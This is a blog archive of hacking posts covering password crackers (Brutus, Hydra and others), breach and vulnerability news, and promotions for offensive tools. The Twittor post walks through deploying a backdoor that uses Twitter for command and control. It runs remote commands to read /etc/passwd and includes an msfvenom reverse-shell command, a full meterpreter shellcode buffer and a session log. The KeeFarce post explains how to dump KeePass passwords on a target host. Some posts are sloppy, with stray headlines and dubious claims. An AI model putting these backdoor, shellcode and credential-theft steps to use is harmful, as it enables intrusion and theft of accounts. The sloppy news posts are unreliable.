Brutus: The Password Cracker

Brutus is one of the most powerful, fastest and most flexible remote passwords cracking tool available freely that you can get your hands on. Brutus password cracker bangs against network services of remote systems trying to guess passwords by using a dictionary and permutations thereof. It supports HTTP, POP3, FTP, SMB, TELNET, IMAP, NNTP, and more. It is only available for Windows 9x, NT and 2000 and other versions of Windows.

Brutus was written originally to help me check routers etc. for default and common passwords.

Features

Brutus version AET2 is the current release and includes the following authentication types:

• HTTP (Basic Authentication)
• HTTP (HTML Form/CGI)
• POP3
• FTP
• SMB
• Telnet

Other types such as IMAP, NNTP, NetBus etc are freely downloadable from this site and simply imported into your copy of Brutus. You can create your own types or use other peoples.

The current release includes the following functionality:

• Multi-stage authentication engine
• 60 simultaneous target connections
• No username, single username and multiple username modes
• Password list, combo (user/password) list and configurable brute force modes
• Highly customizable authentication sequences
• Load and resume position
• Import and Export custom authentication types as BAD files seamlessly
• SOCKS proxy support for all authentication types
• User and password list generation and manipulation functionality
• HTML Form interpretation for HTML Form/CGI authentication types
• Error handling and recovery capability inc. resume after crash/failure.

Download Now

Read more

by Malik korrich ~ mercredi 24 août 2016 0 commentaires

10 Most Recommended Tools For Password Recovery

Whenever confidentiality and access levels are defined, password is used to give certain access to users. User protects their personal details with strong passwords. However, many password cracking tools have been created to crack the passwords.

There are many password cracking tools available for free and paid as well. Today we are going to discuss about some most recommended password cracking tools that security professionals uses.

Aircrack

It is used to recover wireless keys. It implements the best known cracking algorithms once enough encrypted packets are gathered. Aircrack is a suite of tools for 802.11 a/b/g WEP and WPA cracking. The suite comprises of many tools like airodump, aireplay, aircrack, airdecap for capturing wireless communications packets.

Cain and Abel

Cain and Abel is Windows-only password cracking tools that many cyber security professional uses to recover passwords. It sniffs the network, cracks encrypted password using dictionary. This tool is able to attack by brute force and cryptanalysis techniques and can also record VoIP communications, uncover cache passwords, revealing password boxes and analyzing routing protocols.

THC Hydra

Most cyber security professional choose THC hydra when they need to crack remote authentication service using brute force attack. It can perform rapid dictionary attack against more than 50 protocols, which includes http, ftp, https, smb and several databases.

Ophcrack

It’s a Windows password cracking tool, although it can be run on Linux, Windows and Mac also. It includes many features like LM and NTLM hash cracking, GUI, can load hashes from encrypted SAM recovered from Windows partition and a live CD version.

Medusa

Medusa is a tool that fast, modular, and massively parallel brute force logger. It supports many protocols like AFP, cvs, ftp, http, imap, SSH and other.

Fgdump 

Fgdump is the tool for extracting NTLM and LanMan password hashesfrom Windows. Fpdump attempts to disable antivirus software before initiating. It then runs pwdump, cachedump (cached credentials dump), and pstgdump (protected storage dump). It is also capable of displaying password histories if available.

L0phtCrack

L0phtCrack is a Windows based password cracking tool, which attempts cracking using hashes. Hashes can be obtained from stand-alone Windows workstation, network servers or active directories.  It also has various methods of generating passwords (dictionary, brute force, etc).

RainbowCrack

The RainbowCrack tool is a hash cracking tool that makes use of a large-scale time-memory trade-off. An ordinary brute force cracker tries all possible plaintexts one by one, which can be time consuming for complex passwords. While, RainbowCrack uses a time-memory trade-off to do all the pre cracking-time computation and store the results in tables called "rainbow tables". It does take a long time to pre compute the tables but RainbowCrack can be hundreds of times faster than a brute force cracker once the pre-computation is finished.

Brutus

Brutus is a free and Windows-only password cracker that uses dictionary against network services of remote system to recover password. It supports http, pop3, ftp, smb, telnet, imap and other protocols.

Wfuzz

Wfuzz is a brute forcing tool for Web Applications, cyber security professionals uses this tool for finding resources like directories, servlets, scripts, bruteforcing GET and POST parameters for different kinds of injections (SQL, XSS, LDAP, etc.) and brute forcing form parameters (user/password), fuzzing and more.

Password cracking tools are not limited to these only there are many other tools as well. Many cyber security professional recommends these tools to recover passwords.

Read more

by Malik korrich ~ samedi 25 juin 2016 0 commentaires

PEMcracker Tool To Crack Encrypted PEM Files

PEMcracker Tool To Crack Encrypted PEM Files

This tool is inspired by pemcrack by Robert Graham. The purpose is to attempt to recover the password for encrypted PEM files while utilizing all the CPU cores.

It still uses high level OpenSSL calls in order to guess the password. As an optimization, instead of continually checking against the PEM on disk, it is loaded into memory in each thread.

bwall@ragnarok:~$ ./pemcracker 
pemcracker 0.1.0
pemcracker

pemcracker 0.1.0 by Brian Wallace (@botnet_hunter)

Usage Example

bwall@ragnarok:~/data/publicprojects/pemcracker$ ./pemcracker test.pem test.dict
Password is komodia for test.pem

Compiling

make

This is somewhat of a short side project, so my apologies for any issues. If there is desire for this project to be further developed, I will try to allocate time.

Alternatives

If you are looking for the fastest possible method of brute forcing PEM files, you may wish to try out John the Ripper. Its little known ssh2john allows for converting PEM files to a format that can be fed into ./john.

Download

Read more

by Malik korrich ~ mercredi 18 novembre 2015 0 commentaires

KeeFarce: Extract Passwords From KeePass 2.x Database Directly From Memory

KeeFarce: Extract Passwords From KeePass 2.x Database, Directly From memory.

KeeFarce allows for the extraction of KeePass 2.x password database information from memory. The cleartext information, including usernames, passwords, notes and url's are dumped into a CSV file in %AppData%.

General Design

KeeFarce uses DLL injection to execute code within the context of a running KeePass process. C# code execution is achieved by first injecting an architecture-appropriate bootstrap DLL. This spawns an instance of the dot net runtime within the appropriate app domain, subsequently executing KeeFarceDLL.dll (the main C# payload).

The KeeFarceDLL uses CLRMD to find the necessary object in the KeePass processes heap, locates the pointers to some required sub-objects (using offsets), and uses reflection to call an export method.

Prebuilt Packages

An appropriate build of KeeFarce needs to be used depending on the KeePass target's architecture (32 bit or 64 bit). Archives and their shasums can be found under the 'prebuilt' directory.

Executing

In order to execute on the target host, the following files need to be in the same folder:

• BootstrapDLL.dll
• KeeFarce.exe
• KeeFarceDLL.dll
• Microsoft.Diagnostic.Runtime.dll

Copy these files across to the target and execute KeeFarce.exe

Building

Open up the KeeFarce.sln with Visual Studio (note: dev was done on Visual Studio 2015) and hit 'build'. The results will be spat out into dist/$architecture. You'll have to copy the KeeFarceDLL.dll files and Microsoft.Diagnostic.Runtime.dll files into the folder before executing, as these are architecture independent.

Compatibility

KeeFarce has been tested on:

KeePass 2.28, 2.29 and 2.30 - running on Windows 8.1 - both 32 and 64 bit.
This should also work on older Windows machines (win 7 with a recent service pack). If you're targeting something other than the above, then testing in a lab environment before hand is recommended.

Download

Read more

by Malik korrich ~ samedi 31 octobre 2015 0 commentaires

13 Million Users Data Breached Of Free Web Hosting Company 000Webhost

13 Million Users Data Leaked With Plain Text Password Of Free Web Hosting Company 000Webhost.

000webhost is providing a free web hosting service for PHP and MySQL. The leaked data includes users names and e-mail addresses.

Troy Hunt explained in detail about this breach.
According to Forbes Report
Hunt discovered user accounts had their passwords reset, but without any direct notice to customers. When Hunt tried to login with his own email address, an auto-generated response told him his password had been reset by 000Webhost “for security reasons”, advising him to change his credentials before continuing. There was no public notification.

users started to complain on the site forum they could not access FTP servers used to host their website files.

Free WebHost said in Facebook Page

Hello,

We have witnessed a database breach on our main server.

What happened?
A hacker used an exploit in old PHP version to upload some files, gaining access to our systems. Although the whole database has been compromised, we are mostly concerned about the leaked client information.

What did we do about it?
First of all, we removed all illegally uploaded pages as soon as we became aware of the breach. Next, we changed all the passwords and increased their encryption to avoid such mishaps in the future. A thorough investigation to make sure the breach does not exist anymore is in progress.

What do you need to do?
As all the passwords have been changed to random values, you now need to reset them. DO NOT USE YOUR PREVIOUS PASSWORD. PLEASE ALSO CHANGE YOUR PASSWORDS IF YOU USED THE SAME PASSWORD ANYWHERE ELSE.

Client Area Password
Please visit Password Reminder tool at http://members.000webhost.com/forgot_password.php and enter your email address, the new password will be sent to your email. Afterwards, login to your account with the new password and manually set a new, secure password at http://members.000webhost.com/edit_your_details.php

Hosting Account Password
To reset the password for your hosting account (and FTP), visit "Change Account Password" section on control panel and enter a new password there.

Email Account Password
Email account passwords should be changed by visiting "Manage Email Accounts" section and clicking "Change password" for each email account.

MySQL User (Database) Password
MySQL user passwords are managed in "MySQL" section on control panel. In the "Action" field click the "Change Password" and set a new password there.

We apologize for this hassle but it has to be done to ensure your data is safe. We are going to upgrade our systems step by step and will be aiming to be super-careful in future.

Regards
000webhost Team "

Read more

by Malik korrich ~ mercredi 28 octobre 2015 0 commentaires

How To Boost Your Wi-Fi Signal With Beer Can

How To Boost Your Wi-Fi Signal With Beer Can?

Have you ever think that your Beer Can boost your Wi-Fi Signal.

Here is the Steps:

1. Take Beer can
2. Wash out to clean the Can
3. Cut the Can Bottom around.
4. Now repeat the process on top of the Can and leave 1 and 2 inch space some space.
5. Place it Over Routers Antenna
6. Now Wi-Fi signals is boosting 2x-4x speed through Beer Can.
7. Beer Can Aluminium reacts as Reflector.
8. Now ping your Wi-Fi Speed to check your booster signals.

Check this Video:

Read more

by Malik korrich ~ mardi 20 octobre 2015 0 commentaires

CIA Director Email Account Gets Hacked By 19 Year Old Student

CIA Director Email Account Gets Hacked By 19 Years Old Student.

Teen, who claimed that he hacked CIA Director "John Brennan" AOL Email account. 

“We are aware of the reports that have surfaced on social media and have referred the matter to the appropriate authorities,” a CIA spokesman said.

But this report is really shocking that how he easily hacked CIA director personal Email account.

How Teenager Breached into The Email?
According to Wired, he wasn’t working alone but that he and two other people worked on the breach. He says they first did a reverse lookup of Brennan’s mobile phone number to discover that he was a Verizon customer. Then one of them posed as a Verizon technician and called the company asking for details about Brennan’s account. This process called Social Engineering.

What he found into the Mail?

• 47 page application for top Secret Security clearance.
• Social Security Numbers and personal information of more than a dozen top US intelligence officials.
• Hackers also claimes to have accessed a Comcas account associater with Johnson.

Teenage hackers was handling the Twitter account @_CWA_, where he leaked

• Phone numbers
• Social Security Numbers
• E-mail addresses
• A level of security clearance and employment status in some cases

After the report Twitter Suspended his account.

According to nypost,
He explained “CWA” stood for “Crackas With Attitude,” which he said referred to him and a classmate.

The hacker contacted The Post last week to brag about his exploits, which include posting some of the stolen documents and a portion of Brennan’s contact list on Twitter. The hacker’s Twitter page includes the Muslim Shahada creed, which translates as, “There is no god but Allah, Muhammad is the messenger of Allah.”

Read more

by Malik korrich ~ 0 commentaires

Hackers Can Steal Your Information Through EarPhones

Hackers Can Steal Your Information Through EarPhones..

As we are aware about that Google Voice or Siri are tracking us via our mobile devices so that represents a security risks too.

French Information Security ANSSI research have figured out that how to utilize radio waves to silently trigger voice summons on iPhones or Android devices on the off chance that they utilize headphones and have Google Now or Siri empowered.

Security researchers unveiled that hackers can steal your information to make calls, send texts or browse a Malware website without notifying you. its over 16 feet they can use the attack on your smartphone.

According to Wired,
The researcher utilized the earphones' cord as a radio wire and exploited is wire to change over electromagnetic waves into electrical signals that told the smartphone that orders to be sound are originating from the user microphone.

Earlier, IEEE report was published on the same topic,

Research exploit the principle of front-door coupling on smartphones headphone cables with specific electromagnetic waveforms. We present a smart use of intentional electromagnetic interference, resulting in finer impacts on an information system than a classical denial of service effect. As an outcome, we introduce a new silent remote voice command injection technique on modern smartphones.

How Radio Attack dangerous Silently?

• It can make calls
• To Send text messages
• Browsing Phishing or Malware websites
• Spam Messaging through Social Media Accounts

How this attack works ?
Watch Video:

Read more

by Malik korrich ~ vendredi 16 octobre 2015 0 commentaires

Another Zero Day Vulnerability Found In Adobe Flash

Another "Zero Day" Vulnerability Found In Adobe Flash

The researchers of TrendMicro found Zero day exploit in Adobe Flash Plugin. The Flash zero-day affects at latest version of Adobe Flash Player versions 19.0.0.185 and 19.0.0.207.

According to research Pawn Storm campaign are behind this attack said Trend Micro and they are targeting by sending Phishing Emails with attached exploit links. Suicide car bomb targets NATO troop convoy Kabul” said TrendMicro

“Syrian troops make gains as Putin defends air strikes”

“Israel launches airstrikes on targets in Gaza”

“Russia warns of response to reported US nuke buildup in Turkey, Europe”

“US military reports 75 US-trained rebels return Syria”

Adobe Affected Version by TrendMicro

How Can we Protect?

How to patch flash 0-day: 1) Uninstall flash 2) You don't need flash 3) Stop installing flash

— MalwareTech (@MalwareTechBlog) October 13, 2015

TrendMicro said that they sent report to Adobe. But still Adobe does not patched this vulnerability.

Read more

by Malik korrich ~ mercredi 14 octobre 2015 0 commentaires

Twittor A Fully Featured Backdoor That Uses Twitter As Command And Control Server

Twittor: A Fully Featured Backdoor That Uses Twitter As Command And Control Server..

A stealthy Python based backdoor that uses Twitter (Direct Messages) as a command and control server This project has been inspired by Gcat which does the same but using a Gmail account.

Setup

For this to work you need:

• A Twitter account (Use a dedicated account! Do not use your personal one!)
• Register an app on Twitter with Read, write, and direct messages Access levels.

Install the dependencies:

$ pip install -r requirements.txt

This repo contains two files:

twittor.py which is the client
implant.py the actual backdoor to deploy

In both files, edit the access token part and add the ones that you previously generated:

CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

You're probably going to want to compile implant.py into an executable using Pyinstaller In order to remove the console when compiling with Pyinstaller, the flags --noconsole --onefile will help. Just saying.

Usage
In order to run the client, launch the script.

$ python twittor.py

You'll then get into an 'interactive' shell which offers few commands that are:

$ help

    refresh - refresh C&C control
    list_bots - list active bots
    list_commands - list executed commands
    !retrieve - retrieve jobid command
    !cmd command - execute the command on the bot
    !shellcode shellcode - load and execute shellcode in memory (Windows only)
    help - print this usage
    exit - exit the client

$ 

Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:

$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

The output is the MAC address which is used to uniquely identifies the system but also gives you OS information the implant is running on. In that case a Linux box.

Let's issue a command to an implant:

$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$

Here we are telling B7:76:1F:0B:50:B7 to execute cat /etc/passwd, the script then outputs the jobid that we can use to retrieve the output of that command

Lets get the results!

$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

Command to use in that case is !retrieve followed by the jobid from the command.

Refresh results
In order to retrieve new bots/command outputs but also force the client to refresh the results, use the refresh command.

$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$

This will send a PING request and wait 10 seconds for them to answer. Direct messages will then be parsed - Bot list will be refreshed but also the command list, including new command outputs.

Retrieve previous commands
As I said earlier, (previous) commands will be retrieved from older direct messages (limit is 200) and you can actually retrieve/see them by using the list_commands command

$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$

Running shellcode (Windows hosts)
This option might be handy in order to retrieve a meterpreter session and this article becomes really useful.

Generate your meterpreter shellcode, like:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

Extract the shellcode and send it to the specified bot using the !shellcode command!

$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$

There you go!

msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615 
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec

Contributing and/or questions?
Project is entirely open source and released under MIT license. I mostly wanted to create a PoC after Twitter decided to remove the 140 characters limit for the Direct Messages. Few stuff should be added such as Encryption (Adding AES on top of it). "Messages" are using a dictionary data structure and the whole command is only base64 encoded. Fork the project, contribute, submit pull requests, and have fun.

Download

Note: This is the only Educational purpose

Read more

by Malik korrich ~ lundi 12 octobre 2015 0 commentaires

This Female Hacker SexyCyborg Can Break The Security With Her Shoe Heels

This Female Hacker SexyCyborg Can Break The Security With Her Shoe Heels

Her shoes hide the equipment's for hacking into Wi-Fi networks. She can secretly sniff your computers with hidden WiFi testing tools and steal the data remotely.

How She get the idea ? 

she said,

"My typical clothing does not leave room to hide anything- which is all the more reason they would not be suspicious of me."

With my shadowless shoes I distract the target with my…upper body and they don’t see the real danger on my feet, "

I’ve been watching the TV show "Mr. Robot" and while I know not all of it is accurate some of it is and it got me curious. I’m already pretty comfortable with command line and remote server administration from my web development work, and it turns out a lot of ‘hacking’ tools are just testing tools any sensible IT professional would use- just without a GUI.

So I spent the month hitting the books (well web pages) watching lots of videos and learning a bit about information security and penetration testing (I wonder how many idiot jokes that phrase is going to cause…). I still don’t know much, but I know a tiny bit more than I did. Enough to ask people who know more than me the right questions- and enough for a fun project.

So I devised the Wu Ying Shoes (无影鞋)! - Penetration Testing Platform Heels!  "Wu Ying" means “shadowless",

What she can bring inside the Sandal Heels

• USB keylogger
• Retractable Ethernet cable for OpenWRT router
• Lock-picking set.

Watch the Video, How she break the Security? 

Read more

by Malik korrich ~ mercredi 7 octobre 2015 0 commentaires

YiSpector First iOS Malware That Attacks On Apple iOS Devices

YiSpector: First iOS Malware That Attacks On Apple iOS Devices

YiSpecter is different from previously seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices through unique and harmful malicious behaviors. 

Cyber Security firm Palo Alto networks researcher Claud Xiao defines that, how this malware attack work on iOS devices which targets in China and Taiwan.

He said in the blog,

Specifically, it’s the first malware we’ve seen in the wild that abuses private APIs in the iOS system to implement malicious functionalities.

Yispector Infected iOS device

 YiSpecter is the first real world iOS malware that combines these two attack techniques and causes harm to a wider range of users. It pushes the line barrier of iOS security back another step.

• Whether an iPhone is jailbroken or not, the malware can be successfully downloaded and installed.
• Even if you manually delete the malware, it will automatically re-appear
• Using third-party tools you can find some strange additional “system apps” on infected phones
• On infected phones, in some cases when the user opens a normal app, a full screen advertisement will show.

Palo Alto Networks has released IPS and DNS signatures to block YiSpecter’s malicious traffic. This blog also contains suggestions for how other users can manually remove YiSpecter and avoid potential similar attacks in the future. Apple has also been notified.

According to analysis reports by Qihoo 360 and Cheetah Mobile, YiSpecter was also spread by the Lingdun worm.

A malicious webpage uploaded by Lingdun worm

Lingdun uses fake VeriSign and Symantec certificates to bypass malware detection systems. Its primary goal is to download and to install additional Windows software onto a PC. Most of this additional software is benign but at least one installation was malicious.

Apple said in Statement,

"This issue only impacts users on older versions of iOS who have also downloaded malware from untrusted sources. We addressed this specific issue in iOS 8.4 and we have also blocked the identified apps that distribute this malware. We encourage customers to stay current with the latest version of iOS for the latest security updates. We also encourage them to only download from trusted sources like the App Store and pay attention to any warnings as they download apps.”

How to Remove YiSpecter from Your iOS Devices?

• Go  to Settings –> General –> Profiles and remove all unknown or untrusted profiles.
• Delete any installed apps with names 情涩播放器, 快播私密版 or 快播0.
• You can use any third-party iOS management tool such as iFunBox on Windows or Mac OS X to connect with your iPhone or iPad
• Then check for installed iOS apps like Phone, Weather, Game Center, Passbook, Notes, or Cydia and delete them.

Last month, we reported XcodeGhost malware infected almost 40 popular apps in the Chinese App. Store.

Read more

by Malik korrich ~ mardi 6 octobre 2015 0 commentaires

Your Android Phone is Vulnerable To Remote Hacking With StageFright Bugs

Your Android Phone is Vulnerable To Remote Hacking With StageFright Bugs!

Stagefright 2.0, a set of two vulnerabilities that manifest when processing specially crafted MP3 audio or MP4 video files. 

Security Researcher of Zimperium Joshua Drake (Vice President of platform research and exploitation at Zimperium) discovered two more vulnerabilities in the Android. His aimed to researching media processing in Android and focused on remote attacks agains current devices.

What is the vulnerability ? 
Processing specially crafted MP3 or MP4 files can lead to arbitrary code execution. -

The vulnerability lies in the processing of metadata within the files, so merely previewing the song or video would trigger the issue. Since the primary attack vector of MMS has been removed in newer versions of Google’s Hangouts and Messenger apps, the likely attack vector would be via the Web browser.

• An attacker would try to convince an unsuspecting user to visit a URL pointing at an attacker controlled Web site (e.g., mobile spear-phishing or malicious ad campaign)
• An attacker on the same network could inject the exploit using common traffic interception techniques (MITM) to unencrypted network traffic destined for the browser.
• 3rd party apps (Media Players, Instant Messengers, etc.) that are using the vulnerable library.

After the execution this Vulnerbaility allow attackers to access to personal data and photos stored on the phone, be able to take photos, record conversations, email and SMS and can download malicious apps remotely.

Google said that new Stagefright bugs will be fixed in next schedule update.

Source: Zimperium

Read more

by Malik korrich ~ jeudi 1 octobre 2015 0 commentaires

Malvertising Campaign Targeting On Top Adult Websites

Oops! Malvertising Campaign Targeting On Top Adult Websites.

Malvertising assault focusing on various grown-up sites, including xhamster, which draws in near a large portion of a billion visitors per month.

What is Malvertising ?
Malvertising (from "malicious advertising") is the use of online advertising to spread malware. Malvertising involves injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages.

According to report of Malwarebytes,

Malvertising first check that, whether you are running Internet Explorer, and exploits the CVE-2013-7331 Microsoft. XMLDOM ActiveX control vulnerability in Microsoft Windows 8.1 and earlier.

Image by Malwarebytes

The malicious advert served by TrafficHaus was for a dating application called ‘Sex Messenger’ and was displayed often enough that we were able to reliably reproduce the infection in our lab, something that isn’t always feasible when it comes to malvertising.

Malwarebytes researcher also identiify that Microsoft Azure and RedHat cloud platforms and now are seeing IBM’s Bluemix being leveraged by threat actors who enjoy the free HTTPS encryption that it provides them in the delivery of malicious code.

Researchers also spotted latest attack on xHamster website that time distributes browser-based ransomeware.

Below websites are latest victim of Malvertising attack

• Forbes
• Yahoo
• Microsoft
• Realtor

How can we protect?

• To update latest OS
• Always Keep your Computer to protect by Internet Security
• Use AdBlocker add-on in your browser

We have also deleted all third party ads due to Malvertising.

Please read: >> Malvertising Hits 10 Million In 10 Days.  You Might Be Under Attack While Surfing The Web.

Read more

by Malik korrich ~ vendredi 25 septembre 2015 0 commentaires

Your Chrome Gets Crash By Using These String Code URL

Your Chrome Gets Crash By Using These String Code URL  

We have tested these 16 characters strings and it still works on Windows and Mac.

This security issue was found by Andris Atteka. By mouse over on link its enough for your chrome Crash.

Security Flaw Strings are:

http://a/%%30%30
file:///%%300
http://biome3d.com/%%30%30

He said in the blog,

"Recently I reported a crash bug in Google Chrome (issue #533361). This issue reminded me of the recent Skype vulnerability - both occur with simple URL strings. So how can you crash Google Chrome? By adding a NULL char in the URL string:

http://biome3d.com/%%30%30

Unfortunately no reward was awarded as this was deemed to be only a DOS vulnerability. Anyway, making secure software is much harder than finding issues in it. Thanks Google."

Hope Google will be fixed this issue soon.

Read more

by Malik korrich ~ lundi 21 septembre 2015 0 commentaires

WeChat For iOS Gets Hacked, 600 Million Users Are On Security Risk

WeChat For iOS Gets Hacked! 
600 Million Users Are On Security Risk. 

Wechat is the China's most popular messaging app. The app was hacked through security flaw and it to be affecting iOS users with WeChat version 6.2.5. But no data has been compromised yet.

The Security Flaw Have Been Fixed now.

According to Wechat Blog,

A security flaw, caused by an external malware, was recently discovered affecting iOS users only on WeChat version 6.2.5. This flaw has been repaired and will not affect users who install or upgrade WeChat version 6.2.6 or greater, currently available on the iOS App Store. Here are some important points about the situation.

1. The flaw, described in recent media reports, only affects WeChat v6.2.5 for iOS. Newer versions of WeChat (versions 6.2.6 or greater) are not affected.
2. A preliminary investigation into the flaw has revealed that there has been no theft and leakage of users’ information or money, but the WeChat team will continue to closely monitor the situation.
3. The WeChat tech team has extensive experience combating attempts to hack our systems. Once the security flaw was discovered, the team immediately took steps to secure against any theft of user information.
4. Users who encounter any issues can contact the team by leaving feedback in the “WeChat Team” WeChat account.

At last month CNBC report said,
Various mobile messaging apps including WeChat were being used for malicious purposes, and could be allowing hackers to “steal sensitive information and send it back to a remote server.”

What Can I Do?

The Security flaw has been fixed. WeChat Updated new Version 6.2.6

• · Easily migrate chat log from original phone to new device
• · Translate Moments into your language with a long press
• · Improved WeChat experience on Apple Watch 

Read more

by Malik korrich ~ samedi 19 septembre 2015 0 commentaires

Are You Using WhatsApp Web? Your Account Can Be Hack

Are You Using WhatsApp Web? Your Account Can Be Hack!

The major security flaw on WhatsApp web. The company recently announced 900 million users and at least 200 million are using Whatsapp Web interface. 

WhatsApp Web allows users to view any type of media or attachment that can be sent or viewed by the mobile platform/application. This includes images, videos, audio files, locations and contact cards. This vulnerability found by Checkpoint security researchers Kasif Dekel.

Which exploit the WhatsApp Web logic and allow attackers to trick victims into executing arbitrary code on their machines in a new and sophisticated way. All an attacker needed to do to exploit the vulnerability was to send a user a seemingly innocent vCard containing malicious code. Once opened, the alleged contact is revealed to be an executable file, further compromising computers by distributing bots, ransomware, RATs, and other malwares.

Kasif found that by manually intercepting and crafting XMPP requests to the WhatsApp servers, it was possible to control the file extension of the contact card file.

He changed the file in .BAT and send to victim. Once the victim download the file code and run on the computer then malicious code gets injected and run

• Take complete control over the target machine
• Monitor user's activities
• Use the target machine to spread viruses

• NUMBER/GROUPID: the victim’s number or group ID
• ID: the message ID
• TIMESTAMP: the timestamp of the sender device
• FILENAME: the VCARD file name, .exe
• FILEDATA: the raw data of the file

This vulnerability fixed in the week. 

• On August 21, 2015 – Vulnerability disclosed to the WhatsApp security team. 
• August 27, 2015 – WhatsApp rolls out fixed web clients (v0.1.4481)

WhatsApp security team has verified and acknowledged the vulnerability and has rolled out an update to fix the issue in its web clients (v0.1.4481).

Source: CheckPoint

Read more

by Malik korrich ~ mercredi 9 septembre 2015 0 commentaires

Hackers Use iOS Malware "KeyRaider" And Stole 225,000 Apple Account From Jailbroken Devices

Hackers Use iOS Malware "KeyRaider" And Stole 225,000 Apple Account From Jailbroken Devices.

Cyber security research firm Palo Alto Networks found iOS Malware called KeyRaider where its stole 225,000 Apple accounts. 

KeyRaider steals Apple push notification service certificates and private keys, steals and shares App Store purchasing information, and disables local and remote unlocking functionalities on iPhones and iPads.

The attack was first discovered by i_82, a student from Yangzhou University and member of WeipTech. WeipTech (Weiphone Tech Team) is an amateur technical group consisting of users from Weiphone – one of the largest Apple fans websites in China. Previously, WeipTech cooperated with us to report on other iOS and OS X malware including AppBuyer and WireLurker.

Paltoalto cooperation with Weiptech and identified 92 Samples of a new iOS Malware called "KeyRaider"

KeyRaider was distributed by Cydia in China, but its effect to other countries as well, like France, Russia, Japan, United Kingdom, United States, Canada, Germany, Australia, Israel, Italy, Spain, Singapore, and South Korea.

Malicious Code Exist
The KeyRaider malicious code exists in Mach-O dynamic libraries that are used as plugins for the MobileSubstrate framework. Through MobileSubstrate APIs, the malware can hook arbitrary APIs in system processes or in other iOS apps.

